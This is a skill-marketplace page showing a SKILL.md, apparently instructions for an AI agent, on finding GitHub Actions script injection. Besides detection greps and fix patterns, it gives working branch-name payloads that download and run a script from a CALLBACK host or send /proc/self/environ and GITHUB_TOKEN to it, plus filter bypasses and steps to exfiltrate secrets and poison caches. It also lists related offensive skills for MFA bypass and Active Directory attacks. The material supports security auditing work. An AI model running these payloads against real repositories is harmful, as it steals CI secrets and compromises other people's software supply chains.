본문으로 건너뛰기
cccskills
무료GitHub에 공개

github-actions-script-injection

Use when auditing GitHub Actions workflows for script injection vulnerabilities via unsanitized context expressions. Trigger on: "github actions injection", "workflow injection", "head_ref injection", "github context injection", "pwn request", "github.head_ref", "github.event.pull_request.title", "github.event.issue.body", pull_request_target workflows, run: steps interpolating GitHub context variables, CI/CD script injection, GitHub Actions security audit.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구GitHub
설치 방법 보기

포함된 파일(1)

  • SKILL.md7.2 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

GitHub Actions Script Injection

What Is Broken and Why

GitHub Actions workflows interpolate context expressions like ${{ github.head_ref }} directly into shell run: steps at workflow parse time — before the shell executes. An attacker who controls the input (branch name, PR title, issue body, commit message) can inject arbitrary shell commands that execute with the workflow's token permissions. Even a read-only token becomes dangerous if it can be leveraged into cache poisoning, secret exfiltration via subsequent workflows, or SSRF to internal services.

Key Signals

  • run: steps containing ${{ github.head_ref }}, ${{ github.event.pull_request.title }}, ${{ github.event.pull_request.body }}, ${{ github.event.issue.title }}, ${{ github.event.issue.body }}, ${{ github.event.comment.body }}
  • pull_request_target trigger (runs in base repo context — elevated permissions + secrets)
  • workflow_run consuming artifacts or outputs from untrusted workflows
  • issue_comment, pull_request_review_comment triggers with body interpolation
  • Workflows that echo, log, or use attacker-controlled strings in shell steps
  • ${{ toJson(github.event) }} piped into scripts
  • Missing env: variable indirection (safe pattern uses env: VAR: ${{ expr }} then $VAR)

Methodology

  1. Enumerate all workflow files: find .github/workflows -name "*.yml" -o -name "*.yaml"
  2. Grep for dangerous context variables used directly in run: blocks:
    grep -rn 'run:' .github/workflows/ | grep -E '\$\{\{.*github\.(head_ref|event\.'
    
  3. For each hit, trace the trigger: is it pull_request, pull_request_target, issue_comment, workflow_dispatch?
  4. Check token permissions: permissions: block or default GITHUB_TOKEN scope.
  5. Identify what secrets are available in the workflow environment.
  6. Craft a branch name (or PR title/body) with injection payload.
  7. Open a PR from a fork using the malicious branch name to trigger the workflow.
  8. Confirm RCE via out-of-band callback (DNS/HTTP to CALLBACK server).
  9. Escalate: exfiltrate secrets, poison cache, pivot to downstream workflows.

Payloads & Tools

# Malicious branch name for github.head_ref injection
# Uses ${IFS} to avoid spaces (which break branch names)
git checkout -b '$({curl,-sSfL,https://CALLBACK/payload.sh}${IFS}|${IFS}bash)'
git push origin HEAD

# Simpler OOB detection payload (DNS exfil)
git checkout -b '$(curl${IFS}https://CALLBACK/$(cat${IFS}/proc/self/environ|base64))'

# Exfiltrate GITHUB_TOKEN
git checkout -b '$(curl${IFS}-d${IFS}@/proc/self/environ${IFS}https://CALLBACK)'

# lucky-commit: make malicious commit SHA match a short prefix (stealth)
lucky-commit SHORTSHA
# Grep workflows for injection points
grep -rn '\${{' .github/workflows/ | grep 'run:' -A5 | \
  grep -E 'head_ref|event\.pull_request\.(title|body)|event\.issue\.(title|body)|event\.comment\.body'

# Check pull_request_target triggers (highest risk)
grep -rn 'pull_request_target' .github/workflows/

Bypass Techniques

  • Space bypass: use ${IFS} instead of spaces in branch names
  • Quote bypass: use $'...' ANSI-C quoting or hex encoding $'\x63\x75\x72\x6c'
  • Short SHA collision: use lucky-commit to craft a commit whose SHA matches a known prefix, making the imposter commit look legitimate in reviews
  • Restricted characters in branch names: use {cmd,arg1,arg2} brace expansion, $() subshell, backtick substitution
  • Workflow expression filters: if ${{ github.head_ref }} is filtered, try ${{ github.event.pull_request.head.ref }} or other equivalent paths in the event payload

Exploitation Scenarios

Scenario 1 — Secret exfiltration via branch name Setup: Workflow runs on pull_request trigger with run: echo "Testing ${{ github.head_ref }}". Token has read-only permissions but the workflow environment contains AWS_ACCESS_KEY_ID. Trigger: Attacker opens PR from fork with branch named $(printenv|curl${IFS}-d${IFS}@-${IFS}https://CALLBACK). Impact: All environment variables including secrets exfiltrated to attacker's server.

Scenario 2 — Cache poisoning pivot (low-priv token) Setup: Workflow has read-only GITHUB_TOKEN — no direct secret access. Trigger: Injection deploys Cacheract, fills cache past 10 GB, plants poisoned node_modules. Impact: Downstream privileged workflow restores poisoned cache, executes attacker code with elevated token. (See: github-actions-cache-poisoning skill for full technique.)

Scenario 3 — pull_request_target full compromise Setup: Workflow uses pull_request_target (runs in base repo context with write token + secrets). Trigger: Attacker forks repo, opens PR with injected PR body containing ${{ github.event.pull_request.body }} payload. Impact: Workflow executes with base repo's full write token — direct push to main, secret exfiltration, artifact tampering.

False Positives

  • Expression inside if: condition only — not executed as shell, not injectable
  • Expression assigned to env: variable with no subsequent shell interpolation
  • Expression used only in with: action inputs — depends on action implementation
  • Sanitized via ${{ inputs.value }} where inputs come from workflow_dispatch with type: choice

Fix Patterns

# WRONG: direct interpolation into shell
- run: echo "Branch: ${{ github.head_ref }}"

# CORRECT: assign to env var, reference via shell variable
- run: echo "Branch: $BRANCH_NAME"
  env:
    BRANCH_NAME: ${{ github.head_ref }}
  • Use env: indirection for all attacker-controlled context values — shell variables are not parsed as code
  • Prefer pull_request over pull_request_target unless base repo context is strictly necessary
  • Pin third-party actions to full commit SHAs, not tags
  • Restrict permissions: to minimum required (contents: read only when possible)
  • Use harden-runner (StepSecurity) to detect unexpected network calls during CI

Related Skills

[[github-actions-cache-poisoning]] is the natural escalation when script injection yields only a read-only token — the injected code writes poisoned cache entries that a later privileged workflow restores. [[pwn-request]] is the trigger mechanism that causes this skill to fire: a pull_request_target workflow checked out from an attacker-controlled fork is how script injection reaches a privileged context. [[cicd-bot-command-injection]] exploits the same untrusted-input-in-workflow pattern but through comment triggers rather than branch names.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고